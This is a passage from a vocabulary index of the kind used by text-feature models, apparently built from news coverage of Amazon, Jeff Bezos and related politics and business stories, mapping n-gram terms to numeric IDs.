77755, "stuart calls": 77756, "crackdown": 77757, "carpet looks59": 77758, "sensitive workloads": 77759, "reports 2019": 77760, "satisfying shuffle": 77761, "imploring ceo": 77762, "committee passed": 77763, "deny google": 77764, "group president": 77765, "ms": 77766, "tax provokes": 77767, "florida office": 77768, "mother alphabet": 77769, "removed shirts": 77770, "knocks": 77771, "law protecting": 77772, "s8 c2x": 77773, "ceo wrote": 77774, "2018 stock": 77775, "essentials": 77776, "hopped": 77777, "metro": 77778, "ways lack": 77779, "adversarial stance": 77780, "consumer psychologists": 77781, "clovery red": 77782, "unfair playing": 77783, "free robocall": 77784, "nicolas dujovne": 77785, "article foolish": 77786, "pass minimum": 77787, "workers expanding": 77788, "uniter": 77789, "prioritizes equitable": 77790, "unlikely replacing": 77791, "nude photo": 77792, "37th avenue": 77793, "swaths": 77794, "925 shares": 77795, "proclivity": 77796, "oeuvre resistance": 77797, "broccoli sprout": 77798, "price jump": 77799, "amafonz": 77800, "persist": 77801, "carter icymi": 77802, "populated country": 77803, "inventory 2018": 77804, "gabriela charged": 77805, "contrasted": 77806, "frederick amazon": 77807, "1pw8zh2fsw washington": 77808, "way seeking": 77809, "prize review": 77810, "tax litigation": 77811, "bezos woke": 77812, "magnify": 77813, "today operating": 77814, "schmid geekwire": 77815, "really tore": 77816, "center mile": 77817, "suggests anti": 77818, "photo memphis": 77819, "cult liberal": 77820, "follows letter": 77821, "national writer": 77822, "delivery rollout": 77823, "digital life": 77824, "shawn thew": 77825, "tracking bezos": 77826, "showed trump": 77827, "claims sank": 77828, "presidential duties": 77829, "arrest severe": 77830, "letter details": 77831, "cancel recommended": 77832, "disturbing aspect": 77833, "page qanon": 77834, "does tend": 77835, "win major": 77836, "washington bolstered": 77837, "nation politics": 77838, "false autostartvideo": 77839, "ice bucket": 77840, "acrimonious testimony": 77841, "arrests kremlin": 77842, "abuse nasty": 77843, "danish architect": 77844, "oregon woman": 77845, "just left": 77846, "jackson playmate": 77847, "payday": 77848, "measures exclude": 77849, "808": 77850, "steamy": 77851, "accommodate soy": 77852, "000 lying": 77853, "image 300x520": 77854, "significantly increasing": 77855, "bezos executive": 77856, "watch michael": 77857, "logistics partner": 77858, "regional director": 77859, "frequently lambasted": 77860, "thati don": 77861, "reserve employees": 77862, "beautifully": 77863, "offered second": 77864, "right governor": 77865, "crony arrangements": 77866, "mild headline": 77867, "mcveigh": 77868, "meddling george": 77869, "business success": 77870, "advertising skyrocketed": 77871, "new reporting": 77872, "forcing taxpaying": 77873, "coach missing": 77874, "die book": 77875, "modern war": 77876, "scott queenbjr": 77877, "dynamic conversation": 77878, "publishing critical": 77879, "roku apple": 77880, "korea issued": 77881, "jeong hp": 77882, "minute addition": 77883, "blofeld oops": 77884, "term president": 77885, "farming paper": 77886, "environmental crime": 77887, "people having": 77888, "benefited time": 77889, "f7a": 77890, "manyways": 77891, "marked huge": 77892, "aviary cocktail": 77893, "flower soap": 77894, "focuses": 77895, "double parcel": 77896, "increased cancer": 77897, "government modernize": 77898, "legal complaint": 77899, "imported aluminum": 77900, "billing signing": 77901, "post sources": 77902, "gold 2018": 77903, "temporarily newt": 77904, "768w": 77905, "looming regulatory": 77906, "legislature questioned": 77907, "narrow range": 77908, "stay safe": 77909, "legalization": 77910, "elevators": 77911, "national discourse": 77912, "g4 a4ee": 77913, "audi toyota": 77914, "shepherd": 77915, "barclays raises": 77916, "prominent figure": 77917, "snap dollar": 77918, "22205 19th": 77919, "dreams amazon": 77920, "press official": 77921, "jerk": 77922, "high commissioner": 77923, "generates low": 77924, "enforcement community": 77925, "thatare": 77926, "shortages coral": 77927, "offered": 77928, "var c0": 77929, "sources program": 77930, "mitch ceasar": 77931, "sbux makes": 77932, "virginia state": 77933, "useful": 77934, "effectively defends": 77935, "dazzles": 77936, "ami leader": 77937, "analysts taylor": 77938, "recently appealed": 77939, "stars great": 77940, "expected results": 77941, "global fight": 77942, "markets atif": 77943, "scottish comedian": 77944, "hour president": 77945, "emerging profile": 77946, "campus cuomo": 77947, "world leader": 77948, "newsletters check": 77949, "moving parts": 77950, "pants slim": 77951, "tie events": 77952, "administering": 77953, "immunity agreement": 77954, "taxed 000": 77955, "ramos": 77956, "billion based": 77957, "creative": 77958, "faangs facebook": 77959, "pick health": 77960, "fulfill increasingly": 77961, "lack options": 77962, "warehouse associates": 77963, "influence schooner": 77964, "dwarf": 77965, "sforden": 77966, "dromm": 77967, "sh ttery": 77968, "lives just": 77969, "stops yang": 77970, "half check": 77971, "second thought": 77972, "required book": 77973, "publicized": 77974, "reimposes iran": 77975, "created new": 77976, "site turns": 77977, "stability commodity": 77978, "increase flexibility": 77979, "ongoing purchasing": 77980, "backer": 77981, "highlight substantive": 77982, "hannity close": 77983, "inquisitr": 77984, "buyingtribune": 77985, "say conama": 77986, "low city": 77987, "investor carl": 77988, "sending threatening": 77989, "better technology": 77990, "wealthier bezos": 77991, "ibama officials": 77992, "body broken": 77993, "country financial": 77994, "story matt": 77995, "really recycled": 77996, "pain society": 77997, "sarayu": 77998, "called axis": 77999, "smashing spark": 78000, "endlessly hilarious": 78001, "2018 bloomberg": 78002, "wireless acquires": 78003, "delicate task": 78004, "illinois economics": 78005, "costar": 78006, "today josh": 78007, "goodies toronto": 78008, "apple ran": 78009, "reactid 189": 78010, "possible hq2": 78011, "cons": 78012, "shorthand": 78013, "deal according": 78014, "cnr chief": 78015, "awe inspiring": 78016, "amazon galloway": 78017, "9oos0ph7qb emily": 78018, "party agendas": 78019, "watch pause": 78020, "says certainpoliticians": 78021, "box retailing": 78022, "parents say": 78023, "service competitive": 78024, "obvious ladies": 78025, "revenue shows": 78026, "lic share": 78027, "tabloid cited": 78028, "roughly 650": 78029, "pose material": 78030, "surrendering": 78031, "story midterm": 78032, "chowhound shop": 78033, "writer steve": 78034, "say americans": 78035, "people platform": 78036, "office 1989": 78037, "people choose": 78038, "faithful keanu": 78039, "rapid deforestation": 78040, "admp": 78041, "experts amazon": 78042, "public emails": 78043, "stanley stubby": 78044, "american ally": 78045, "kuester charlotte": 78046, "attacked washington": 78047, "intercepts suspicious": 78048, "post traumatic": 78049, "administration smelled": 78050, "year sen": 78051, "combined market": 78052, "flashy": 78053, "new americans": 78054, "race": 78055, "population city": 78056, "pacific continue": 78057, "including cheap": 78058, "previously forced": 78059, "community residents": 78060, "boycott divestment": 78061, "dramatic price": 78062, "joined chuck": 78063, "brought affordable": 78064, "minorities owners": 78065, "kummer": 78066, "netflix created": 78067, "begins": 78068, "maryland described": 78069, "company partial": 78070, "cost natural": 78071, "theories associated": 78072, "agold politico": 78073, "lauran sanchez": 78074, "wishing kyle": 78075, "stranded north": 78076, "ongoing challenges": 78077, "seventh grade": 78078, "overworked": 78079, "private bodies": 78080, "broadcast station": 78081, "expectations 2019": 78082, "deportation proceedings": 78083, "personally pressed": 78084, "need experience": 78085, "tropical deforestation": 78086, "newyork help": 78087, "pfizer shares": 78088, "protect inventors": 78089, "trump links": 78090, "wallpaper": 78091, "100 funds": 78092, "constine": 78093, "syrian quagmire": 78094, "educateing": 78095, "alibaba ebay": 78096, "shutter": 78097, "rohwer": 78098, "vgbufmhunz ric": 78099, "potential reactions": 78100, "cut deal": 78101, "coronary": 78102, "spectrum consistently": 78103, "ancient colonial": 78104, "military junta": 78105, "lashed": 78106, "kill jobs": 78107, "does negotiate": 78108, "julian castro": 78109, "470": 78110, "swan interjected": 78111, "facebooks 120": 78112, "lend": 78113, "company operate": 78114, "random reads": 78115, "sneak preview": 78116, "broadcast merger": 78117, "says jim": 78118, "enquirer ran": 78119, "broad look": 78120, "infection": 78121, "government position": 78122, "boasts": 78123, "innovation additionally": 78124, "india draft": 78125, "showtime nearly": 78126, "kelton": 78127, "having great": 78128, "live premier": 78129, "gadget startups": 78130, "business join": 78131, "utm_campaign feed": 78132, "amazon tried": 78133, "undertake transformation": 78134, "enormous flood": 78135, "crossword": 78136, "description read": 78137, "bezos sanchez": 78138, "media__icon hide": 78139, "2070336002 cancelsend": 78140, "board diversity": 78141, "company swooped": 78142, "tax loopholes": 78143, "bezos regained": 78144, "boy corpse": 78145, "head trade": 78146, "amazon image": 78147, "encourage start": 78148, "johnson absolutely": 78149, "nasdaq xlnx": 78150, "wildfires returning": 78151, "music lightfoot": 78152, "diverting": 78153, "friendmatty catholic": 78154, "sq": 78155, "political committees": 78156, "tom brenner": 78157, "economic ruin": 78158, "marie fox": 78159, "sa fintech": 78160, "allison": 78161, "aot": 78162, "reserve plans": 78163, "meeting bezos": 78164, "cities felt": 78165, "harold feld": 78166, "horizon planning": 78167, "responsible queenschronicle": 78168, "climate change": 78169, "ramell ross": 78170, "revenue guidance": 78171, "party advantage": 78172, "lillien": 78173, "lnolan": 78174, "business bankruptcies": 78175, "aris health": 78176, "prices increase": 78177, "171 050": 78178, "great deals": 78179, "recode listen": 78180, "doubtless": 78181, "panting": 78182, "description governor": 78183, "jack quinn": 78184, "greenhouse gas": 78185, "zozi009": 78186, "2018 couple": 78187, "maxim": 78188, "planned investigation": 78189, "expect strong": 78190, "america test": 78191, "line earlier": 78192, "started key": 78193, "left autostart": 78194, "update colin": 78195, "afghans": 78196, "global corporate": 78197, "begins monica": 78198, "leadership feel": 78199, "surly": 78200, "despite turning": 78201, "growing economic": 78202, "services committee": 78203, "phenomenally": 78204, "henhouse": 78205, "used special": 78206, "promoting smaller": 78207, "trump lose": 78208, "keeps turning": 78209, "kaster ap": 78210, "final gulftimes": 78211, "r4ee g6": 78212, "huelgaamazon en": 78213, "video did": 78214, "bigger role": 78215, "analysts tell": 78216, "scripts esrx": 78217, "cleveland state": 78218, "water coming": 78219, "covering contraception": 78220, "deplorablechoir": 78221, "jewish people": 78222, "calculated using": 78223, "nicol\u00e1s maduro": 78224, "chinese leaders": 78225, "administration according": 78226, "pay fair": 78227, "feeling": 78228, "russian president": 78229, "distillery": 78230, "training conference": 78231, "beefing": 78232, "dramatic development": 78233, "advocate konst": 78234, "large railroad": 78235, "souvenir mount": 78236, "hanson calls": 78237, "street shot": 78238, "launched nuclear": 78239, "current fox": 78240, "noticed tweets": 78241, "trump view": 78242, "halloween party": 78243, "debt": 78244, "tells supporters": 78245, "pivoting": 78246, "riding change": 78247, "parent alphabet": 78248, "competitive share": 78249, "possible criminal": 78250, "government loan": 78251, "scare california": 78252, "close critical": 78253, "know country": 78254, "labor black": 78255, "mps theresa": 78256, "zen": 78257, "fluke": 78258, "philadelphia amazon": 78259, "knows google": 78260, "dept officials": 78261, "poised": 78262, "newt gingrich": 78263, "wing netroots": 78264, "work continues": 78265, "blvd road": 78266, "thepresident stands": 78267, "amazon promise": 78268, "legal challenges": 78269, "saying wow": 78270, "goldberg stating": 78271, "star crossed": 78272, "mexico canada": 78273, "service balance": 78274, "new tariffs": 78275, "communications strategy": 78276, "soccer": 78277, "whatsapp twitter": 78278, "return visit": 78279, "anders celsius": 78280, "wynn18": 78281, "addressed sent": 78282, "scandals pushed": 78283, "wrest": 78284, "hall mandymh82": 78285, "greatawakening": 78286, "media targets": 78287, "company ability": 78288, "old style": 78289, "oncontententryload function": 78290, "residential area": 78291, "industry expect": 78292, "cheadle": 78293, "washington employers": 78294, "companies connection": 78295, "high tax": 78296, "lambasted google": 78297, "workers hopefully": 78298, "recent tweets": 78299, "new opponent": 78300, "area talent": 78301, "prevent": 78302, "sent 790": 78303, "provide artificial": 78304, "latest data": 78305, "unelected people": 78306, "bezos including": 78307, "abusers": 78308, "kellytyko": 78309, "advertising accounted": 78310, "trump child": 78311, "prices marketforce": 78312, "threats related": 78313, "target online": 78314, "pimps": 78315, "richest americans": 78316, "hit inspired": 78317, "aware driver": 78318, "added pressure": 78319, "dn": 78320, "center ambassadors": 78321, "barely pays": 78322, "basically shell": 78323, "words guest": 78324, "today talker": 78325, "outside marketing": 78326, "momsdemand pic": 78327, "kump": 78328, "captainroyd": 78329, "phone accessory": 78330, "attracting data": 78331, "reported mean": 78332, "approach regulators": 78333, "season fedex": 78334, "commentators lined": 78335, "aid carter": 78336, "including clearly": 78337, "dc mansion": 78338, "alicia shepard": 78339, "hefty": 78340, "leader": 78341, "political opposition": 78342, "feed costs": 78343, "conditions photo": 78344, "fairer": 78345, "company earliest": 78346, "directly comment": 78347, "tax information": 78348, "banning cashless": 78349, "causing shipping": 78350, "heads close": 78351, "drugs bad": 78352, "large offline": 78353, "lcd panels": 78354, "contender bernie": 78355, "argued essentially": 78356, "toronto tourism": 78357, "stakes competition": 78358, "work entirely": 78359, "2018 reuters": 78360, "eradicating": 78361, "proposed increasing": 78362, "editorial articles": 78363, "key constituencies": 78364, "dimon participated": 78365, "remanded decision": 78366, "450": 78367, "owns reported": 78368, "sobering reminder": 78369, "lsu": 78370, "welles": 78371, "upends": 78372, "brand counterfeiting": 78373, "benefit managers": 78374, "impact innovate": 78375, "favorite days": 78376, "mukesh": 78377, "valley powerhouses": 78378, "authors better": 78379, "fund affordable": 78380, "rossomando": 78381, "man booker": 78382, "ads external": 78383, "alibaba battling": 78384, "government future": 78385, "gold mining": 78386, "proposed expansion": 78387, "snorting": 78388, "commit violence": 78389, "spirals": 78390, "src": 78391, "quietly amassed": 78392, "arabia produce": 78393, "whitaker": 78394, "products mike": 78395, "angles": 78396, "declared foreign": 78397, "denied rubenstein": 78398, "adler michael": 78399, "nfl home": 78400, "subsidies eked": 78401, "using computer": 78402, "native american": 78403, "new host": 78404, "federation spring": 78405, "foreign corrupt": 78406, "initially right": 78407, "modern politics": 78408, "inc228693 video": 78409, "cosecha shut": 78410, "toro": 78411, "economic advisor": 78412, "hoped": 78413, "face year": 78414, "late consistently": 78415, "bolted": 78416, "bezos key": 78417, "verbal assaults": 78418, "headquarters interestingly": 78419, "wardrobe": 78420, "23am elie": 78421, "totaled 250": 78422, "negatively impacting": 78423, "action congress": 78424, "status 1084627451983073280": 78425, "dent cristina": 78426, "exempted items": 78427, "seltzer": 78428, "quarter earnings": 78429, "companies worldwide": 78430, "navarro director": 78431, "cameroon school": 78432, "vulnerable seniors": 78433, "whack right": 78434, "hour window": 78435, "featuring hointer": 78436, "case decided": 78437, "billion discussed": 78438, "amazon wish": 78439, "actually right": 78440, "senator richard": 78441, "nonprofits lobbying": 78442, "display stronger": 78443, "import virtually": 78444, "seller description": 78445, "briefly topped": 78446, "dwyer noted": 78447, "fedex business": 78448, "shielded ami": 78449, "character development": 78450, "hmm": 78451, "a4ee x0": 78452, "crosses trillion": 78453, "tiny crosby": 78454, "nahmias nahmias": 78455, "negotiations winter": 78456, "time european": 78457, "guilt ftc": 78458, "trump unleashed": 78459, "avoid obstacles": 78460, "hayley": 78461, "revenue lift": 78462, "online rivals": 78463, "data submitted": 78464, "reuters deal": 78465, "urged multiple": 78466, "interesting possibilities": 78467, "techs": 78468, "anchor lauren": 78469, "magana": 78470, "rights attorney": 78471, "time consulting": 78472, "don remember": 78473, "portal screenshot": 78474, "sanders deftly": 78475, "pentagon tech": 78476, "group led": 78477, "nyclu attorney": 78478, "devote resources": 78479, "gov easily": 78480, "metapack total": 78481, "natural allies": 78482, "leveraging digital": 78483, "earned billion": 78484, "creepy laugh": 78485, "using hundreds": 78486, "positions number": 78487, "board consider": 78488, "hold hearing": 78489, "nora": 78490, "atmosphere": 78491, "acting white": 78492, "venezuelan maestro": 78493, "forbes focuses": 78494, "hal": 78495, "giant efforts": 78496, "aws firecracker": 78497, "center associate": 78498, "called inaccurate": 78499, "doesn meet": 78500, "criminal suspicion": 78501, "stateand": 78502, "266": 78503, "new collective": 78504, "lead khanna": 78505, "burden gm": 78506, "rapid increase": 78507, "amazon plans": 78508, "chronological order": 78509, "richmond": 78510, "tweeted president": 78511, "margaret": 78512, "billionaires acquiring": 78513, "left lane": 78514, "market helped": 78515, "reading debt": 78516, "federal contributions": 78517, "transequality": 78518, "significant decline": 78519, "attention say": 78520, "dubai": 78521, "wantto make": 78522, "courthouse news": 78523, "competitors grew": 78524, "famously active": 78525, "war teen": 78526, "company ongoing": 78527, "declared bezos": 78528, "bondi speaks": 78529, "amazon meaning": 78530, "amazon attitude": 78531, "date hasn": 78532, "significant strength": 78533, "shannon pettypiece": 78534, "hit president": 78535, "urging democrats": 78536, "excessive rep": 78537, "time sanders": 78538, "yglesias paul": 78539, "pretty amazing": 78540, "providing return": 78541, "activators": 78542, "labor capitalism": 78543, "publishes damaging": 78544, "pecker contacted": 78545, "final scene": 78546, "technology specifically": 78547, "paul stevens": 78548, "food delivered": 78549, "nonstop": 78550, "powers questions": 78551, "provost": 78552, "agency head": 78553, "warren recalled": 78554, "mosaic": 78555, "medicine food": 78556, "spicer foto": 78557, "margaret wedding": 78558, "shares fdx": 78559, "mitigation strategies": 78560, "fine proposed": 78561, "digit sales": 78562, "mccain dummy": 78563, "hype": 78564, "offseason story": 78565, "cisco revenue": 78566, "rep amazon": 78567, "jason": 78568, "makes heavy": 78569, "jon reed": 78570, "releases tapes": 78571, "think necessarily": 78572, "entire online": 78573, "null cnl_global_nav_background_color": 78574, "automates": 78575, "purported letter": 78576, "having months": 78577, "visa general": 78578, "incentives demanded": 78579, "applied intense": 78580, "global slow": 78581, "blame video": 78582, "communities speak": 78583, "wild claim": 78584, "cultural heroes": 78585, "ignore": 78586, "company prioritise": 78587, "practical": 78588, "hearing trump": 78589, "shalala": 78590, "china suddenly": 78591, "especially president": 78592, "detailing bezos": 78593, "g3xrcr9ixk": 78594, "extraordinary details": 78595, "revelations detailing": 78596, "attending school": 78597, "american cuisine": 78598, "long listed": 78599, "order picking": 78600, "joint council": 78601, "billion rm816": 78602, "lot anybody": 78603, "improving access": 78604, "write civilly": 78605, "exceed trillion": 78606, "executives showed": 78607, "man barges": 78608, "89m reports": 78609, "prepared remarks": 78610, "carrier library": 78611, "played host": 78612, "round 100": 78613, "final hour": 78614, "condemned": 78615, "internet advertising": 78616, "underlying narrative": 78617, "street falls": 78618, "opponent did": 78619, "concerns following": 78620, "greenhouse gases": 78621, "sneak children": 78622, "confirms william": 78623, "engineering insofar": 78624, "office receives": 78625, "bezos bombshell": 78626, "thoughtful commentary": 78627, "hq2 office": 78628, "conclusion president": 78629, "help americans": 78630, "booster making": 78631, "life coach": 78632, "news sent": 78633, "told sanders": 78634, "anchor kelly": 78635, "sell harvested": 78636, "note just": 78637, "hectic": 78638, "hosting documentary": 78639, "rosenthal": 78640, "dossier confirmed": 78641, "worker contributions": 78642, "preparation kitchens": 78643, "christmas tax": 78644, "digital commerce": 78645, "rivkin": 78646, "misleading statements": 78647, "higher long": 78648, "cassell mypov": 78649, "milestone achieving": 78650, "phone records": 78651, "calls jeff": 78652, "ken mentioned": 78653, "obama detainment": 78654, "stamp recipient": 78655, "photographer journalist": 78656, "awards common": 78657, "problem makes": 78658, "increased package": 78659, "sme": 78660, "technical": 78661, "industry reps": 78662, "different": 78663, "trial promised": 78664, "lost amazon": 78665, "better path": 78666, "model called": 78667, "life amazon": 78668, "conspiracy extending": 78669, "whipsaw stock": 78670, "benchmark read": 78671, "policing practices": 78672, "targeting bezos": 78673, "acquisition completes": 78674, "hero amazon": 78675, "raising wages": 78676, "figures need": 78677, "candidates making": 78678, "small development": 78679, "ice water": 78680, "received refund": 78681, "direct copy": 78682, "betterhousing": 78683, "pratt industries": 78684, "report correspondent": 78685, "celebrity news": 78686, "annual national": 78687, "florida republican": 78688, "activists including": 78689, "analysts say": 78690, "mart bezos": 78691, "brian mcnicoll": 78692, "improbable": 78693, "daisy daisy": 78694, "seeking respect": 78695, "lurid": 78696, "screws consumers": 78697, "assisting trump": 78698, "actions taken": 78699, "true tale": 78700, "worsening": 78701, "hosting nbc": 78702, "republican nomination": 78703, "prime cape": 78704, "people fighting": 78705, "gigantic giveaway": 78706, "impose tariffs": 78707, "uber tony": 78708, "subscriber numbers": 78709, "conduct national": 78710, "trepidation": 78711, "founder good": 78712, "retail books": 78713, "fringe": 78714, "equity benchmarks": 78715, "association dieter": 78716, "possible earlier": 78717, "lena soon": 78718, "monopolies 2019": 78719, "million white": 78720, "gallery new": 78721, "freedom": 78722, "lcd screens": 78723, "allow political": 78724, "complaints personally": 78725, "johnson cloak": 78726, "contain addresses": 78727, "dovish": 78728, "actually negatively": 78729, "avenue": 78730, "hawaii": 78731, "thehill amazon": 78732, "acne sun": 78733, "underwood adequately": 78734, "utilize ship": 78735, "turkstra hamilton": 78736, "unions seeking": 78737, "search locales": 78738, "twitter acct": 78739, "153": 78740, "story victorias": 78741, "solid quarter": 78742, "2018 kevin": 78743, "free society": 78744, "j8 json": 78745, "perishable": 78746, "prenup 2017": 78747, "radio marconi": 78748, "rubs": 78749, "teens want": 78750, "kids learn": 78751, "robert lighthizer": 78752, "bank institute": 78753, "griffeth welcome": 78754, "setback soon": 78755, "later chau": 78756, "just taking": 78757, "highest proportion": 78758, "claims drop": 78759, "celebrity justin": 78760, "narratives modern": 78761, "hired kate": 78762, "575 700": 78763, "moon did": 78764, "stretchable": 78765, "read shop": 78766, "informed share": 78767, "shock divorce": 78768, "advice doesnt": 78769, "trump putting": 78770, "dozed": 78771, "baseball games": 78772, "suffering better": 78773, "witnessed": 78774, "website linkedin": 78775, "canada posted": 78776, "investment decisions": 78777, "shipping giants": 78778, "biggest villain": 78779, "field bit": 78780, "kill based": 78781, "trouble began": 78782, "strengthen": 78783, "pursue strategic": 78784, "els": 78785, "package policies": 78786, "activites designed": 78787, "approaches amazon": 78788, "site selections": 78789, "qanon pages": 78790, "racked reports": 78791, "180 signatories": 78792, "298": 78793, "pressured brennan": 78794, "rural american": 78795, "agent patrick": 78796, "sanders elizabeth": 78797, "economy lael": 78798, "skin": 78799, "sectionection": 78800, "missouri midterms": 78801, "microgravity research": 78802, "connor amy": 78803, "confronting": 78804, "israel continues": 78805, "parilla": 78806, "political victim": 78807, "stories completely": 78808, "hanky panky": 78809, "competed": 78810, "erroneously": 78811, "bezos planted": 78812, "showsocialsharebar false": 78813, "lawsuit asks": 78814, "paying thousands": 78815, "phenomenon click": 78816, "doesn talk": 78817, "3pl company": 78818, "news won": 78819, "disingenuous": 78820, "null inc_feature_image_override": 78821, "queried": 78822, "anticipating amazon": 78823, "percolating": 78824, "post college": 78825, "faces covered": 78826, "slow global": 78827, "tucked away": 78828, "tim mckay": 78829, "markets analyst": 78830, "rose 171": 78831, "mustreadarticles": 78832, "cvx": 78833, "founder mark": 78834, "fla tweets": 78835, "way home": 78836, "trump lastly": 78837, "founded amazon": 78838, "violate clearly": 78839, "meet jedi": 78840, "using reusable": 78841, "ellie kemper": 78842, "tuna": 78843, "alem\u00e1n trevor": 78844, "socialist wave": 78845, "dislocated": 78846, "punish": 78847, "rarely raided": 78848, "stephen gandel": 78849, "spacetime": 78850, "harnessing information": 78851, "regulators including": 78852, "amazon strike": 78853, "cribs bassinets": 78854, "carries": 78855, "spokesperson added": 78856, "won judicial": 78857, "mirrors plan": 78858, "wicking antimicrobial": 78859, "amazon needed": 78860, "secretive cia": 78861, "415 members": 78862, "cashierless convenience": 78863, "patterns regarding": 78864, "jack ma": 78865, "wearing satan": 78866, "nimbler revenue": 78867, "join new": 78868, "french cemetery": 78869, "embedlinkhandler videopinner": 78870, "creators version": 78871, "politically relevant": 78872, "virginia investors": 78873, "amazon source": 78874, "wildfire help": 78875, "notes adolf": 78876, "supply chains": 78877, "1_5": 78878, "michael block": 78879, "pitfalls toronto": 78880, "cheese touch": 78881, "away far": 78882, "england failed": 78883, "billionaire just": 78884, "kitchen trucks": 78885, "345 acres": 78886, "educate elected": 78887, "products soon": 78888, "talton": 78889, "occurring speaking": 78890, "heather kelly": 78891, "underwriting": 78892, "occurred guarantee": 78893, "priorities ways": 78894, "making higher": 78895, "ap gov": 78896, "contracts weren": 78897, "reported saying": 78898, "dade": 78899, "exactly mean": 78900, "vaxxers": 78901, "drops plans": 78902, "matter bloomberg": 78903, "track detain": 78904, "leftist globalist": 78905, "fbzlgr": 78906, "threat ryan": 78907, "took oath": 78908, "video url": 78909, "mccain brain": 78910, "natural food": 78911, "scribner amazon": 78912, "bodies slow": 78913, "dissent": 78914, "dismissing": 78915, "best psychological": 78916, "subsidiaries designed": 78917, "mussels harvey": 78918, "taulli": 78919, "dept amazon": 78920, "abducts children": 78921, "abramovich check": 78922, "promoting hateful": 78923, "amzn deep": 78924, "profile drivers": 78925, "usa donald": 78926, "essential step": 78927, "late day": 78928, "sommer present": 78929, "button used": 78930, "successfully pressured": 78931, "triggered larger": 78932, "daisy johnson": 78933, "declaratory judgment": 78934, "border mijente": 78935, "monoculture": 78936, "topical sketch": 78937, "venezuela": 78938, "wads": 78939, "inpoland": 78940, "isn clear": 78941, "connecting armed": 78942, "diverse international": 78943, "good shot": 78944, "original classes": 78945, "block republicans": 78946, "amazon discussions": 78947, "2017 thanks": 78948, "usual business": 78949, "grand prize": 78950, "states agree": 78951, "doggo": 78952, "calls european": 78953, "philip michael": 78954, "caymans": 78955, "harassment assault": 78956, "mass transit": 78957, "officials particularly": 78958, "bergh spent": 78959, "judge kavanaugh": 78960, "hollywood acting": 78961, "expense trends": 78962, "predilections": 78963, "crony corrupt": 78964, "waarom grote": 78965, "lower profits": 78966, "mitigation": 78967, "need maternity": 78968, "pecker pamphlet": 78969, "sood partner": 78970, "satellite runs": 78971, "chinese counterpart": 78972, "fine economically": 78973, "ideally offline": 78974, "beach north": 78975, "investors shoot": 78976, "google grow": 78977, "news emblazoned": 78978, "total business": 78979, "conner": 78980, "implied": 78981, "north think": 78982, "fusion centers": 78983, "535": 78984, "promised billion": 78985, "individual state": 78986, "eprivacy": 78987, "tweeted big": 78988, "addressing energy": 78989, "cnn videopinner": 78990, "esque": 78991, "noble climate": 78992, "current valuation": 78993, "bb fb": 78994, "minhaj": 78995, "kong reuters": 78996, "pumping donald": 78997, "amazon_policy": 78998, "crisis fentanyl": 78999, "jasco products": 79000, "acquiring publications": 79001, "ice simply": 79002, "rakuten": 79003, "fraud winner": 79004, "news headline": 79005, "imbroglios": 79006, "price 802": 79007, "loudspeakers": 79008, "avoid looking": 79009, "tanza": 79010, "founder hails": 79011, "weather forecast": 79012, "competitive election": 79013, "stretch": 79014, "brake": 79015, "chief isn": 79016, "bads": 79017, "rescind based": 79018, "increase brand": 79019, "calculation methodology": 79020, "shaban google": 79021, "occupy potent": 79022, "investor apprehension": 79023, "cash jeff": 79024, "worth surpassing": 79025, "words people": 79026, "281 000": 79027, "release tweets": 79028, "losing team": 79029, "del sur": 79030, "ban claiming": 79031, "evening broadcast": 79032, "flourishing": 79033, "just reopened": 79034, "ads shill": 79035, "states merging": 79036, "mentions": 79037, "shipment infrastructure": 79038, "date specifications": 79039, "_0x r4ee": 79040, "adherent slogan": 79041, "gartner aws": 79042, "water filter": 79043, "surprising events": 79044, "winning magazine": 79045, "traditional brick": 79046, "wanted hq2": 79047, "policy debates": 79048, "ford alleges": 79049, "body tasked": 79050, "allows glimpse": 79051, "hazelwood elementary": 79052, "looked vanilla": 79053, "conduct mass": 79054, "trump graciously": 79055, "nuances": 79056, "tdsc": 79057, "nasdaq mtch": 79058, "lost massive": 79059, "presidenttweeted": 79060, "idealogical": 79061, "headlineplaintext lamborghini": 79062, "wish owned": 79063, "kevin systrom": 79064, "named book": 79065, "jane beasley": 79066, "yale law": 79067, "largest oil": 79068, "corporation set": 79069, "require businesses": 79070, "wave ended": 79071, "russian sleeper": 79072, "renewals terms": 79073, "coulter brand": 79074, "proprietor": 79075, "foxconn factory": 79076, "saykara ceo": 79077, "powerful person": 79078, "america men": 79079, "europe think": 79080, "yahoo finance": 79081, "northern va": 79082, "eps loss": 79083, "alleged thefts": 79084, "oescam": 79085, "trucks gain": 79086, "level internet": 79087, "tremendous challenges": 79088, "bannon donald": 79089, "gender pay": 79090, "television property": 79091, "okonomiyaki": 79092, "enquirer known": 79093, "trump previewed": 79094, "news led": 79095, "economically efficient": 79096, "inc_canonical_url null": 79097, "jersey ahead": 79098, "way uber": 79099, "rose 107": 79100, "electorate democracy": 79101, "blue pills": 79102, "surprise cult": 79103, "yo dear": 79104, "threatening companies": 79105, "possibly indicative": 79106, "additional billion": 79107, "private data": 79108, "swisher": 79109, "faze cibc": 79110, "undercuts trump": 79111, "conversations say": 79112, "daycare": 79113, "headlinepretext headlinetext": 79114, "servings": 79115, "initially claimed": 79116, "bye bye": 79117, "reasons split": 79118, "world domination": 79119, "monopolists": 79120, "lists multiple": 79121, "large cap": 79122, "new funding": 79123, "peter kearns": 79124, "haven": 79125, "impresario likeness": 79126, "aws compute": 79127, "grinding": 79128, "accidental empires": 79129, "daredevil marvel": 79130, "\u0142122 5billion": 79131, "bezos extortion": 79132, "loosened": 79133, "cutting salaries": 79134, "actually viral": 79135, "fertile": 79136, "unacceptable failing": 79137, "282 times": 79138, "inmed": 79139, "evolution profiling": 79140, "state won": 79141, "gaetz fl": 79142, "story preparations": 79143, "york including": 79144, "khashoggi assassination": 79145, "play trumped": 79146, "soga": 79147, "service develop": 79148, "months driven": 79149, "implored bezos": 79150, "don personally": 79151, "nondominant position": 79152, "capitalizing": 79153, "outlet regnery": 79154, "dillard wikipedia": 79155, "yeah maybe": 79156, "important fundraising": 79157, "touted new": 79158, "dorsey defend": 79159, "munster indicts": 79160, "marketplaces": 79161, "2016 rekognition": 79162, "media graham": 79163, "whippits whippets": 79164, "sector watch": 79165, "zoning": 79166, "bezos companies": 79167, "say starbucks": 79168, "pox vaccine": 79169, "unhealthily obsessed": 79170, "event amazon": 79171, "becker asked": 79172, "father charming": 79173, "chinese pig": 79174, "marketwatch vc": 79175, "allen white": 79176, "11s carell": 79177, "pratfall": 79178, "left outrage": 79179, "gilmore hardie": 79180, "cues": 79181, "experienced retail": 79182, "sides think": 79183, "original video": 79184, "cork": 79185, "poses increasingly": 79186, "conscious decision": 79187, "play audio": 79188, "encourage entrepreneursto": 